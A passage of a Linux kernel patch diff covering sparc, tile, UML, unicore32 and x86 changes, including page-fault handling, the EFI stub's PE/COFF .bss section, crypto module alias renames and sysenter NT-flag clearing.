long flags; if (mm->context != NO_CONTEXT) { flush_cache_mm(mm); srmmu_ctxd_set(&srmmu_context_table[mm->context], srmmu_swapper_pg_dir); flush_tlb_mm(mm); - spin_lock(&srmmu_context_spinlock); + spin_lock_irqsave(&srmmu_context_spinlock, flags); free_context(mm->context); - spin_unlock(&srmmu_context_spinlock); + spin_unlock_irqrestore(&srmmu_context_spinlock, flags); mm->context = NO_CONTEXT; } } diff --git a/arch/sparc/mm/tsb.c b/arch/sparc/mm/tsb.c index 2cc3bce5ee914..71d99a6c75a75 100644 --- a/arch/sparc/mm/tsb.c +++ b/arch/sparc/mm/tsb.c @@ -133,7 +133,19 @@ static void setup_tsb_params(struct mm_struct *mm, unsigned long tsb_idx, unsign mm->context.tsb_block[tsb_idx].tsb_nentries = tsb_bytes / sizeof(struct tsb); - base = TSBMAP_BASE; + switch (tsb_idx) { + case MM_TSB_BASE: + base = TSBMAP_8K_BASE; + break; +#if defined(CONFIG_HUGETLB_PAGE) || defined(CONFIG_TRANSPARENT_HUGEPAGE) + case MM_TSB_HUGE: + base = TSBMAP_4M_BASE; + break; +#endif + default: + BUG(); + } + tte = pgprot_val(PAGE_KERNEL_LOCKED); tsb_paddr = __pa(mm->context.tsb_block[tsb_idx].tsb); BUG_ON(tsb_paddr & (tsb_bytes - 1UL)); diff --git a/arch/sparc/power/hibernate.c b/arch/sparc/power/hibernate.c index 42b0b8ce699a9..17bd2e167e07e 100644 --- a/arch/sparc/power/hibernate.c +++ b/arch/sparc/power/hibernate.c @@ -9,11 +9,9 @@ #include #include #include +#include #include -/* References to section boundaries */ -extern const void __nosave_begin, __nosave_end; - struct saved_context saved_context; /* diff --git a/arch/tile/kernel/setup.c b/arch/tile/kernel/setup.c index 7a5aa1a7864e2..5ebe936762016 100644 --- a/arch/tile/kernel/setup.c +++ b/arch/tile/kernel/setup.c @@ -1064,7 +1064,7 @@ static void __init load_hv_initrd(void) void __init free_initrd_mem(unsigned long begin, unsigned long end) { - free_bootmem(__pa(begin), end - begin); + free_bootmem_late(__pa(begin), end - begin); } #else diff --git a/arch/tile/mm/fault.c b/arch/tile/mm/fault.c index d6083491efb69..12b732f593bbc 100644 --- a/arch/tile/mm/fault.c +++ b/arch/tile/mm/fault.c @@ -433,7 +433,6 @@ static int handle_page_fault(struct pt_regs *regs, goto bad_area; } - survive: /* * If for any reason at all we couldn't handle the fault, * make sure we exit gracefully rather than endlessly redo @@ -447,6 +446,8 @@ static int handle_page_fault(struct pt_regs *regs, if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); @@ -571,15 +572,10 @@ static int handle_page_fault(struct pt_regs *regs, */ out_of_memory: up_read(&mm->mmap_sem); - if (is_global_init(tsk)) { - yield(); - down_read(&mm->mmap_sem); - goto survive; - } - pr_alert("VM: killing process %s\n", tsk->comm); - if (!is_kernel_mode) - do_group_exit(SIGKILL); - goto no_context; + if (is_kernel_mode) + goto no_context; + pagefault_out_of_memory(); + return 0; do_sigbus: up_read(&mm->mmap_sem); diff --git a/arch/um/Kconfig.common b/arch/um/Kconfig.common index 8ddea1f8006a5..0228a6ab9b186 100644 --- a/arch/um/Kconfig.common +++ b/arch/um/Kconfig.common @@ -7,6 +7,7 @@ config UML bool default y select HAVE_UID16 + select HAVE_FUTEX_CMPXCHG if FUTEX select GENERIC_IRQ_SHOW select GENERIC_CPU_DEVICES select GENERIC_IO diff --git a/arch/um/kernel/trap.c b/arch/um/kernel/trap.c index 5c3aef74237ff..06ab0ebe0a0f3 100644 --- a/arch/um/kernel/trap.c +++ b/arch/um/kernel/trap.c @@ -80,6 +80,8 @@ int handle_page_fault(unsigned long address, unsigned long ip, if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) { goto out_of_memory; + } else if (fault & VM_FAULT_SIGSEGV) { + goto out; } else if (fault & VM_FAULT_SIGBUS) { err = -EACCES; goto out; diff --git a/arch/um/os-Linux/start_up.c b/arch/um/os-Linux/start_up.c index 337518c5042a5..b412c62486f09 100644 --- a/arch/um/os-Linux/start_up.c +++ b/arch/um/os-Linux/start_up.c @@ -95,6 +95,8 @@ static int start_ptraced_child(void) { int pid, n, status; + fflush(stdout); + pid = fork(); if (pid == 0) ptrace_child(); diff --git a/arch/unicore32/include/mach/pm.h b/arch/unicore32/include/mach/pm.h index 4dcd34ae194cd..77b522694e744 100644 --- a/arch/unicore32/include/mach/pm.h +++ b/arch/unicore32/include/mach/pm.h @@ -36,8 +36,5 @@ extern int puv3_pm_enter(suspend_state_t state); /* Defined in hibernate_asm.S */ extern int restore_image(pgd_t *resume_pg_dir, struct pbe *restore_pblist); -/* References to section boundaries */ -extern const void __nosave_begin, __nosave_end; - extern struct pbe *restore_pblist; #endif diff --git a/arch/unicore32/kernel/hibernate.c b/arch/unicore32/kernel/hibernate.c index d75ef8b6cb561..9969ec374abb3 100644 --- a/arch/unicore32/kernel/hibernate.c +++ b/arch/unicore32/kernel/hibernate.c @@ -18,6 +18,7 @@ #include #include #include +#include #include #include "mach/pm.h" diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig index a4674fa156019..483f11a71146e 100644 --- a/arch/x86/Kconfig +++ b/arch/x86/Kconfig @@ -156,7 +156,7 @@ config SBUS config NEED_DMA_MAP_STATE def_bool y - depends on X86_64 || INTEL_IOMMU || DMA_API_DEBUG + depends on X86_64 || INTEL_IOMMU || DMA_API_DEBUG || SWIOTLB config NEED_SG_DMA_LENGTH def_bool y @@ -954,10 +954,27 @@ config VM86 default y depends on X86_32 ---help--- - This option is required by programs like DOSEMU to run 16-bit legacy - code on X86 processors. It also may be needed by software like - XFree86 to initialize some video cards via BIOS. Disabling this - option saves about 6k. + This option is required by programs like DOSEMU to run + 16-bit real mode legacy code on x86 processors. It also may + be needed by software like XFree86 to initialize some video + cards via BIOS. Disabling this option saves about 6K. + +config X86_16BIT + bool "Enable support for 16-bit segments" if EXPERT + default y + ---help--- + This option is required by programs like Wine to run 16-bit + protected mode legacy code on x86 processors. Disabling + this option saves about 300 bytes on i386, or around 6K text + plus 16K runtime memory on x86-64, + +config X86_ESPFIX32 + def_bool y + depends on X86_16BIT && X86_32 + +config X86_ESPFIX64 + def_bool y + depends on X86_16BIT && X86_64 config TOSHIBA tristate "Toshiba Laptop support" @@ -1563,6 +1580,7 @@ config EFI config EFI_STUB bool "EFI stub support" depends on EFI + select RELOCATABLE ---help--- This kernel feature allows a bzImage to be loaded directly by EFI firmware without the use of a bootloader. diff --git a/arch/x86/boot/Makefile b/arch/x86/boot/Makefile index 6cf0111783d35..368f3582c93e4 100644 --- a/arch/x86/boot/Makefile +++ b/arch/x86/boot/Makefile @@ -168,6 +168,9 @@ isoimage: $(obj)/bzImage for i in lib lib64 share end ; do \ if [ -f /usr/$$i/syslinux/isolinux.bin ] ; then \ cp /usr/$$i/syslinux/isolinux.bin $(obj)/isoimage ; \ + if [ -f /usr/$$i/syslinux/ldlinux.c32 ]; then \ + cp /usr/$$i/syslinux/ldlinux.c32 $(obj)/isoimage ; \ + fi ; \ break ; \ fi ; \ if [ $$i = end ] ; then exit 1 ; fi ; \ diff --git a/arch/x86/boot/compressed/head_32.S b/arch/x86/boot/compressed/head_32.S index abb988a54c693..3b28eff9b90b7 100644 --- a/arch/x86/boot/compressed/head_32.S +++ b/arch/x86/boot/compressed/head_32.S @@ -54,7 +54,7 @@ ENTRY(efi_pe_entry) call reloc reloc: popl %ecx - subl reloc, %ecx + subl $reloc, %ecx movl %ecx, BP_code32_start(%eax) sub $0x4, %esp diff --git a/arch/x86/boot/header.S b/arch/x86/boot/header.S index 9ec06a1f6d61b..4257124621780 100644 --- a/arch/x86/boot/header.S +++ b/arch/x86/boot/header.S @@ -91,10 +91,9 @@ bs_die: .section ".bsdata", "a" bugger_off_msg: - .ascii "Direct floppy boot is not supported. " - .ascii "Use a boot loader program instead.\r\n" + .ascii "Use a boot loader.\r\n" .ascii "\n" - .ascii "Remove disk and press any key to reboot ...\r\n" + .ascii "Remove disk and press any key to reboot...\r\n" .byte 0 #ifdef CONFIG_EFI_STUB @@ -108,7 +107,7 @@ coff_header: #else .word 0x8664 # x86-64 #endif - .word 3 # nr_sections + .word 4 # nr_sections .long 0 # TimeDateStamp .long 0 # PointerToSymbolTable .long 1 # NumberOfSymbols @@ -250,6 +249,25 @@ section_table: .word 0 # NumberOfLineNumbers .long 0x60500020 # Characteristics (section flags) + # + # The offset & size fields are filled in by build.c. + # + .ascii ".bss" + .byte 0 + .byte 0 + .byte 0 + .byte 0 + .long 0 + .long 0x0 + .long 0 # Size of initialized data + # on disk + .long 0x0 + .long 0 # PointerToRelocations + .long 0 # PointerToLineNumbers + .word 0 # NumberOfRelocations + .word 0 # NumberOfLineNumbers + .long 0xc8000080 # Characteristics (section flags) + #endif /* CONFIG_EFI_STUB */ # Kernel attributes; used by setup. This is part 1 of the diff --git a/arch/x86/boot/tools/build.c b/arch/x86/boot/tools/build.c index 94c5446500200..971a0ce062aad 100644 --- a/arch/x86/boot/tools/build.c +++ b/arch/x86/boot/tools/build.c @@ -141,7 +141,7 @@ static void usage(void) #ifdef CONFIG_EFI_STUB -static void update_pecoff_section_header(char *section_name, u32 offset, u32 size) +static void update_pecoff_section_header_fields(char *section_name, u32 vma, u32 size, u32 datasz, u32 offset) { unsigned int pe_header; unsigned short num_sections; @@ -162,10 +162,10 @@ static void update_pecoff_section_header(char *section_name, u32 offset, u32 siz put_unaligned_le32(size, section + 0x8); /* section header vma field */ - put_unaligned_le32(offset, section + 0xc); + put_unaligned_le32(vma, section + 0xc); /* section header 'size of initialised data' field */ - put_unaligned_le32(size, section + 0x10); + put_unaligned_le32(datasz, section + 0x10); /* section header 'file offset' field */ put_unaligned_le32(offset, section + 0x14); @@ -177,6 +177,11 @@ static void update_pecoff_section_header(char *section_name, u32 offset, u32 siz } } +static void update_pecoff_section_header(char *section_name, u32 offset, u32 size) +{ + update_pecoff_section_header_fields(section_name, offset, size, size, offset); +} + static void update_pecoff_setup_and_reloc(unsigned int size) { u32 setup_offset = 0x200; @@ -201,9 +206,6 @@ static void update_pecoff_text(unsigned int text_start, unsigned int file_sz) pe_header = get_unaligned_le32(&buf[0x3c]); - /* Size of image */ - put_unaligned_le32(file_sz, &buf[pe_header + 0x50]); - /* * Size of code: Subtract the size of the first sector (512 bytes) * which includes the header. @@ -218,6 +220,22 @@ static void update_pecoff_text(unsigned int text_start, unsigned int file_sz) update_pecoff_section_header(".text", text_start, text_sz); } +static void update_pecoff_bss(unsigned int file_sz, unsigned int init_sz) +{ + unsigned int pe_header; + unsigned int bss_sz = init_sz - file_sz; + + pe_header = get_unaligned_le32(&buf[0x3c]); + + /* Size of uninitialized data */ + put_unaligned_le32(bss_sz, &buf[pe_header + 0x24]); + + /* Size of image */ + put_unaligned_le32(init_sz, &buf[pe_header + 0x50]); + + update_pecoff_section_header_fields(".bss", file_sz, bss_sz, 0, 0); +} + #endif /* CONFIG_EFI_STUB */ @@ -268,6 +286,9 @@ int main(int argc, char ** argv) int fd; void *kernel; u32 crc = 0xffffffffUL; +#ifdef CONFIG_EFI_STUB + unsigned int init_sz; +#endif /* Defaults for old kernel */ #ifdef CONFIG_X86_32 @@ -338,7 +359,9 @@ int main(int argc, char ** argv) put_unaligned_le32(sys_size, &buf[0x1f4]); #ifdef CONFIG_EFI_STUB - update_pecoff_text(setup_sectors * 512, sz + i + ((sys_size * 16) - sz)); + update_pecoff_text(setup_sectors * 512, i + (sys_size * 16)); + init_sz = get_unaligned_le32(&buf[0x260]); + update_pecoff_bss(i + (sys_size * 16), init_sz); #ifdef CONFIG_X86_64 /* Yes, this is really how we defined it :( */ efi_stub_entry -= 0x200; diff --git a/arch/x86/crypto/aes_glue.c b/arch/x86/crypto/aes_glue.c index aafe8ce0d65dd..e26984f7ab8d2 100644 --- a/arch/x86/crypto/aes_glue.c +++ b/arch/x86/crypto/aes_glue.c @@ -66,5 +66,5 @@ module_exit(aes_fini); MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm, asm optimized"); MODULE_LICENSE("GPL"); -MODULE_ALIAS("aes"); -MODULE_ALIAS("aes-asm"); +MODULE_ALIAS_CRYPTO("aes"); +MODULE_ALIAS_CRYPTO("aes-asm"); diff --git a/arch/x86/crypto/aesni-intel_glue.c b/arch/x86/crypto/aesni-intel_glue.c index f80e668785c0b..990c9699b6628 100644 --- a/arch/x86/crypto/aesni-intel_glue.c +++ b/arch/x86/crypto/aesni-intel_glue.c @@ -989,7 +989,7 @@ static int __driver_rfc4106_decrypt(struct aead_request *req) src = kmalloc(req->cryptlen + req->assoclen, GFP_ATOMIC); if (!src) return -ENOMEM; - assoc = (src + req->cryptlen + auth_tag_len); + assoc = (src + req->cryptlen); scatterwalk_map_and_copy(src, req->src, 0, req->cryptlen, 0); scatterwalk_map_and_copy(assoc, req->assoc, 0, req->assoclen, 0); @@ -1014,7 +1014,7 @@ static int __driver_rfc4106_decrypt(struct aead_request *req) scatterwalk_done(&src_sg_walk, 0, 0); scatterwalk_done(&assoc_sg_walk, 0, 0); } else { - scatterwalk_map_and_copy(dst, req->dst, 0, req->cryptlen, 1); + scatterwalk_map_and_copy(dst, req->dst, 0, tempCipherLen, 1); kfree(src); } return retval; @@ -1373,4 +1373,4 @@ module_exit(aesni_exit); MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm, Intel AES-NI instructions optimized"); MODULE_LICENSE("GPL"); -MODULE_ALIAS("aes"); +MODULE_ALIAS_CRYPTO("aes"); diff --git a/arch/x86/crypto/blowfish_avx2_glue.c b/arch/x86/crypto/blowfish_avx2_glue.c index 4417e9aea78d1..183395bfc724f 100644 --- a/arch/x86/crypto/blowfish_avx2_glue.c +++ b/arch/x86/crypto/blowfish_avx2_glue.c @@ -581,5 +581,5 @@ module_exit(fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Blowfish Cipher Algorithm, AVX2 optimized"); -MODULE_ALIAS("blowfish"); -MODULE_ALIAS("blowfish-asm"); +MODULE_ALIAS_CRYPTO("blowfish"); +MODULE_ALIAS_CRYPTO("blowfish-asm"); diff --git a/arch/x86/crypto/blowfish_glue.c b/arch/x86/crypto/blowfish_glue.c index 3548d76dbaa92..9f7cc6bde5c8a 100644 --- a/arch/x86/crypto/blowfish_glue.c +++ b/arch/x86/crypto/blowfish_glue.c @@ -465,5 +465,5 @@ module_exit(fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Blowfish Cipher Algorithm, asm optimized"); -MODULE_ALIAS("blowfish"); -MODULE_ALIAS("blowfish-asm"); +MODULE_ALIAS_CRYPTO("blowfish"); +MODULE_ALIAS_CRYPTO("blowfish-asm"); diff --git a/arch/x86/crypto/camellia_aesni_avx2_glue.c b/arch/x86/crypto/camellia_aesni_avx2_glue.c index 414fe5d7946be..da710fcf8631f 100644 --- a/arch/x86/crypto/camellia_aesni_avx2_glue.c +++ b/arch/x86/crypto/camellia_aesni_avx2_glue.c @@ -582,5 +582,5 @@ module_exit(camellia_aesni_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Camellia Cipher Algorithm, AES-NI/AVX2 optimized"); -MODULE_ALIAS("camellia"); -MODULE_ALIAS("camellia-asm"); +MODULE_ALIAS_CRYPTO("camellia"); +MODULE_ALIAS_CRYPTO("camellia-asm"); diff --git a/arch/x86/crypto/camellia_aesni_avx_glue.c b/arch/x86/crypto/camellia_aesni_avx_glue.c index 37fd0c0a81ea8..883e1af10dc5e 100644 --- a/arch/x86/crypto/camellia_aesni_avx_glue.c +++ b/arch/x86/crypto/camellia_aesni_avx_glue.c @@ -574,5 +574,5 @@ module_exit(camellia_aesni_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Camellia Cipher Algorithm, AES-NI/AVX optimized"); -MODULE_ALIAS("camellia"); -MODULE_ALIAS("camellia-asm"); +MODULE_ALIAS_CRYPTO("camellia"); +MODULE_ALIAS_CRYPTO("camellia-asm"); diff --git a/arch/x86/crypto/camellia_glue.c b/arch/x86/crypto/camellia_glue.c index 5cb86ccd4acb9..16d65b0d28d13 100644 --- a/arch/x86/crypto/camellia_glue.c +++ b/arch/x86/crypto/camellia_glue.c @@ -1725,5 +1725,5 @@ module_exit(fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Camellia Cipher Algorithm, asm optimized"); -MODULE_ALIAS("camellia"); -MODULE_ALIAS("camellia-asm"); +MODULE_ALIAS_CRYPTO("camellia"); +MODULE_ALIAS_CRYPTO("camellia-asm"); diff --git a/arch/x86/crypto/cast5_avx_glue.c b/arch/x86/crypto/cast5_avx_glue.c index c6631813dc115..d416069e31846 100644 --- a/arch/x86/crypto/cast5_avx_glue.c +++ b/arch/x86/crypto/cast5_avx_glue.c @@ -494,4 +494,4 @@ module_exit(cast5_exit); MODULE_DESCRIPTION("Cast5 Cipher Algorithm, AVX optimized"); MODULE_LICENSE("GPL"); -MODULE_ALIAS("cast5"); +MODULE_ALIAS_CRYPTO("cast5"); diff --git a/arch/x86/crypto/cast6_avx_glue.c b/arch/x86/crypto/cast6_avx_glue.c index 8d0dfb86a5593..c19756265d4eb 100644 --- a/arch/x86/crypto/cast6_avx_glue.c +++ b/arch/x86/crypto/cast6_avx_glue.c @@ -611,4 +611,4 @@ module_exit(cast6_exit); MODULE_DESCRIPTION("Cast6 Cipher Algorithm, AVX optimized"); MODULE_LICENSE("GPL"); -MODULE_ALIAS("cast6"); +MODULE_ALIAS_CRYPTO("cast6"); diff --git a/arch/x86/crypto/crc32-pclmul_glue.c b/arch/x86/crypto/crc32-pclmul_glue.c index 9d014a74ef969..1937fc1d87633 100644 --- a/arch/x86/crypto/crc32-pclmul_glue.c +++ b/arch/x86/crypto/crc32-pclmul_glue.c @@ -197,5 +197,5 @@ module_exit(crc32_pclmul_mod_fini); MODULE_AUTHOR("Alexander Boyko "); MODULE_LICENSE("GPL"); -MODULE_ALIAS("crc32"); -MODULE_ALIAS("crc32-pclmul"); +MODULE_ALIAS_CRYPTO("crc32"); +MODULE_ALIAS_CRYPTO("crc32-pclmul"); diff --git a/arch/x86/crypto/crc32c-intel_glue.c b/arch/x86/crypto/crc32c-intel_glue.c index 6812ad98355c3..28640c3d6af7f 100644 --- a/arch/x86/crypto/crc32c-intel_glue.c +++ b/arch/x86/crypto/crc32c-intel_glue.c @@ -280,5 +280,5 @@ MODULE_AUTHOR("Austin Zhang , Kent Liu #include #include +#include #include struct crypto_fpu_ctx { @@ -159,3 +160,5 @@ void __exit crypto_fpu_exit(void) { crypto_unregister_template(&crypto_fpu_tmpl); } + +MODULE_ALIAS_CRYPTO("fpu"); diff --git a/arch/x86/crypto/ghash-clmulni-intel_glue.c b/arch/x86/crypto/ghash-clmulni-intel_glue.c index d785cf2c529c7..4bcf841e47013 100644 --- a/arch/x86/crypto/ghash-clmulni-intel_glue.c +++ b/arch/x86/crypto/ghash-clmulni-intel_glue.c @@ -291,6 +291,7 @@ static struct ahash_alg ghash_async_alg = { .cra_name = "ghash", .cra_driver_name = "ghash-clmulni", .cra_priority = 400, + .cra_ctxsize = sizeof(struct ghash_async_ctx), .cra_flags = CRYPTO_ALG_TYPE_AHASH | CRYPTO_ALG_ASYNC, .cra_blocksize = GHASH_BLOCK_SIZE, .cra_type = &crypto_ahash_type, @@ -341,4 +342,4 @@ module_exit(ghash_pclmulqdqni_mod_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("GHASH Message Digest Algorithm, " "acclerated by PCLMULQDQ-NI"); -MODULE_ALIAS("ghash"); +MODULE_ALIAS_CRYPTO("ghash"); diff --git a/arch/x86/crypto/salsa20_glue.c b/arch/x86/crypto/salsa20_glue.c index 5e8e67739bb50..399a29d067d63 100644 --- a/arch/x86/crypto/salsa20_glue.c +++ b/arch/x86/crypto/salsa20_glue.c @@ -119,5 +119,5 @@ module_exit(fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION ("Salsa20 stream cipher algorithm (optimized assembly version)"); -MODULE_ALIAS("salsa20"); -MODULE_ALIAS("salsa20-asm"); +MODULE_ALIAS_CRYPTO("salsa20"); +MODULE_ALIAS_CRYPTO("salsa20-asm"); diff --git a/arch/x86/crypto/serpent_avx2_glue.c b/arch/x86/crypto/serpent_avx2_glue.c index 23aabc6c20a53..cb57caf13ef76 100644 --- a/arch/x86/crypto/serpent_avx2_glue.c +++ b/arch/x86/crypto/serpent_avx2_glue.c @@ -558,5 +558,5 @@ module_exit(fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Serpent Cipher Algorithm, AVX2 optimized"); -MODULE_ALIAS("serpent"); -MODULE_ALIAS("serpent-asm"); +MODULE_ALIAS_CRYPTO("serpent"); +MODULE_ALIAS_CRYPTO("serpent-asm"); diff --git a/arch/x86/crypto/serpent_avx_glue.c b/arch/x86/crypto/serpent_avx_glue.c index 9ae83cf8d21e9..0a86e8b65e604 100644 --- a/arch/x86/crypto/serpent_avx_glue.c +++ b/arch/x86/crypto/serpent_avx_glue.c @@ -617,4 +617,4 @@ module_exit(serpent_exit); MODULE_DESCRIPTION("Serpent Cipher Algorithm, AVX optimized"); MODULE_LICENSE("GPL"); -MODULE_ALIAS("serpent"); +MODULE_ALIAS_CRYPTO("serpent"); diff --git a/arch/x86/crypto/serpent_sse2_glue.c b/arch/x86/crypto/serpent_sse2_glue.c index 97a356ece24d2..279f3899c7799 100644 --- a/arch/x86/crypto/serpent_sse2_glue.c +++ b/arch/x86/crypto/serpent_sse2_glue.c @@ -618,4 +618,4 @@ module_exit(serpent_sse2_exit); MODULE_DESCRIPTION("Serpent Cipher Algorithm, SSE2 optimized"); MODULE_LICENSE("GPL"); -MODULE_ALIAS("serpent"); +MODULE_ALIAS_CRYPTO("serpent"); diff --git a/arch/x86/crypto/sha1_ssse3_glue.c b/arch/x86/crypto/sha1_ssse3_glue.c index 4a11a9d724516..29e1060e90010 100644 --- a/arch/x86/crypto/sha1_ssse3_glue.c +++ b/arch/x86/crypto/sha1_ssse3_glue.c @@ -237,4 +237,4 @@ module_exit(sha1_ssse3_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm, Supplemental SSE3 accelerated"); -MODULE_ALIAS("sha1"); +MODULE_ALIAS_CRYPTO("sha1"); diff --git a/arch/x86/crypto/sha256_ssse3_glue.c b/arch/x86/crypto/sha256_ssse3_glue.c index 597d4da696561..ceafb01885ed2 100644 --- a/arch/x86/crypto/sha256_ssse3_glue.c +++ b/arch/x86/crypto/sha256_ssse3_glue.c @@ -272,4 +272,4 @@ module_exit(sha256_ssse3_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA256 Secure Hash Algorithm, Supplemental SSE3 accelerated"); -MODULE_ALIAS("sha256"); +MODULE_ALIAS_CRYPTO("sha256"); diff --git a/arch/x86/crypto/sha512_ssse3_glue.c b/arch/x86/crypto/sha512_ssse3_glue.c index 9f5e71f066714..d1ee9f638d1ca 100644 --- a/arch/x86/crypto/sha512_ssse3_glue.c +++ b/arch/x86/crypto/sha512_ssse3_glue.c @@ -279,4 +279,4 @@ module_exit(sha512_ssse3_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA512 Secure Hash Algorithm, Supplemental SSE3 accelerated"); -MODULE_ALIAS("sha512"); +MODULE_ALIAS_CRYPTO("sha512"); diff --git a/arch/x86/crypto/twofish_avx2_glue.c b/arch/x86/crypto/twofish_avx2_glue.c index ce33b5be64ee5..bb1f0a194d974 100644 --- a/arch/x86/crypto/twofish_avx2_glue.c +++ b/arch/x86/crypto/twofish_avx2_glue.c @@ -580,5 +580,5 @@ module_exit(fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Twofish Cipher Algorithm, AVX2 optimized"); -MODULE_ALIAS("twofish"); -MODULE_ALIAS("twofish-asm"); +MODULE_ALIAS_CRYPTO("twofish"); +MODULE_ALIAS_CRYPTO("twofish-asm"); diff --git a/arch/x86/crypto/twofish_avx_glue.c b/arch/x86/crypto/twofish_avx_glue.c index 2047a562f6b3f..4a1f94422fbbb 100644 --- a/arch/x86/crypto/twofish_avx_glue.c +++ b/arch/x86/crypto/twofish_avx_glue.c @@ -589,4 +589,4 @@ module_exit(twofish_exit); MODULE_DESCRIPTION("Twofish Cipher Algorithm, AVX optimized"); MODULE_LICENSE("GPL"); -MODULE_ALIAS("twofish"); +MODULE_ALIAS_CRYPTO("twofish"); diff --git a/arch/x86/crypto/twofish_glue.c b/arch/x86/crypto/twofish_glue.c index 0a5202303501e..77e06c2da83d0 100644 --- a/arch/x86/crypto/twofish_glue.c +++ b/arch/x86/crypto/twofish_glue.c @@ -96,5 +96,5 @@ module_exit(fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION ("Twofish Cipher Algorithm, asm optimized"); -MODULE_ALIAS("twofish"); -MODULE_ALIAS("twofish-asm"); +MODULE_ALIAS_CRYPTO("twofish"); +MODULE_ALIAS_CRYPTO("twofish-asm"); diff --git a/arch/x86/crypto/twofish_glue_3way.c b/arch/x86/crypto/twofish_glue_3way.c index 13e63b3e1dfb4..56d8a08ee4790 100644 --- a/arch/x86/crypto/twofish_glue_3way.c +++ b/arch/x86/crypto/twofish_glue_3way.c @@ -495,5 +495,5 @@ module_exit(fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Twofish Cipher Algorithm, 3-way parallel asm optimized"); -MODULE_ALIAS("twofish"); -MODULE_ALIAS("twofish-asm"); +MODULE_ALIAS_CRYPTO("twofish"); +MODULE_ALIAS_CRYPTO("twofish-asm"); diff --git a/arch/x86/ia32/ia32entry.S b/arch/x86/ia32/ia32entry.S index 474dc1b59f726..e73982b935377 100644 --- a/arch/x86/ia32/ia32entry.S +++ b/arch/x86/ia32/ia32entry.S @@ -151,6 +151,16 @@ ENTRY(ia32_sysenter_target) 1: movl (%rbp),%ebp _ASM_EXTABLE(1b,ia32_badarg) ASM_CLAC + + /* + * Sysenter doesn't filter flags, so we need to clear NT + * ourselves. To save a few cycles, we can check whether + * NT was set instead of doing an unconditional popfq. + */ + testl $X86_EFLAGS_NT,EFLAGS-ARGOFFSET(%rsp) + jnz sysenter_fix_flags +sysenter_flags_fixed: + orl $TS_COMPAT,TI_status+THREAD_INFO(%rsp,RIP-ARGOFFSET) testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags+THREAD_INFO(%rsp,RIP-ARGOFFSET) CFI_REMEMBER_STATE @@ -184,6 +194,8 @@ sysexit_from_sys_call: TRACE_IRQS_ON ENABLE_INTERRUPTS_SYSEXIT32 + CFI_RESTORE_STATE + #ifdef CONFIG_AUDITSYSCALL .macro auditsys_entry_common movl %esi,%r9d /* 6th arg: 4th syscall arg */ @@ -226,7 +238,6 @@ sysexit_from_sys_call: .endm sysenter_auditsys: - CFI_RESTORE_STATE auditsys_entry_common movl %ebp,%r9d /* reload 6th syscall arg */ jmp sysenter_dispatch @@ -235,6 +246,11 @@ sysexit_audit: auditsys_exit sysexit_from_sys_call #endif +sysenter_fix_flags: + pushq_cfi $(X86_EFLAGS_IF|X86_EFLAGS_FIXED) + popfq_cfi + jmp sysenter_flags_fixed + sysenter_tracesys: #ifdef CONFIG_AUDITSYSCALL testl $(_TIF_WORK_SYSCALL_ENTRY & ~_TIF_SYSCALL_AUDIT),TI_flags+THREAD_INFO(%rsp,RIP-ARGOFFSET) @@ -406,6 +422,7 @@ ENTRY(ia32_syscall) /*CFI_REL_OFFSET cs,CS-RIP*/ CFI_REL_OFFSET rip,RIP-RIP PARAVIRT_ADJUST_EXCEPTION_FRAME + ASM_CLAC /* Do this early to minimize exposure */ SWAPGS /* * No need to follow this irqs on/off section: the syscall diff --git a/arch/x86/include/asm/boot.h b/arch/x86/include/asm/boot.h index 4fa687a47a62d..6b8d6e8cd4494 100644 --- a/arch/x86/include/asm/boot.h +++ b/arch/x86/include/asm/boot.h @@ -27,7 +27,7 @@ #define BOOT_HEAP_SIZE 0x400000 #else /* !CONFIG_KERNEL_BZIP2 */ -#define BOOT_HEAP_SIZE 0x8000 +#define BOOT_HEAP_SIZE 0x10000 #endif /* !CONFIG_KERNEL_BZIP2 */ diff --git a/arch/x86/include/asm/desc.h b/arch/x86/include/asm/desc.h index 8bf1c06070d56..23fb67e6f8452 100644 --- a/arch/x86/include/asm/desc.h +++ b/arch/x86/include/asm/desc.h @@ -251,7 +251,8 @@ static inline void native_load_tls(struct thread_struct *t, unsigned int cpu) gdt[GDT_ENTRY_TLS_MIN + i] = t->tls_array[i]; } -#define _LDT_empty(info) \ +/* This intentionally ignores lm, since 32-bit apps don't have that field. */ +#define LDT_empty(info) \ ((info)->base_addr == 0 && \ (info)->limit == 0 && \ (info)->contents == 0 && \ @@ -261,11 +262,18 @@ static inline void native_load_tls(struct thread_struct *t, unsigned int cpu) (info)->seg_not_present == 1 && \ (info)->useable == 0) -#ifdef CONFIG_X86_64 -#define LDT_empty(info) (_LDT_empty(info) && ((info)->lm == 0)) -#else -#define LDT_empty(info) (_LDT_empty(info)) -#endif +/* Lots of programs expect an all-zero user_desc to mean "no segment at all". */ +static inline bool LDT_zero(const struct user_desc *info) +{ + return (info->base_addr == 0 && + info->limit == 0 && + info->contents == 0 && + info->read_exec_only == 0 && + info->seg_32bit == 0 && + info->limit_in_pages == 0 && + info->seg_not_present == 0 && + info->useable == 0); +} static inline void clear_LDT(void) { diff --git a/arch/x86/include/asm/elf.h b/arch/x86/include/asm/elf.h index 9c999c1674fac..01f15b227d7ed 100644 --- a/arch/x86/include/asm/elf.h +++ 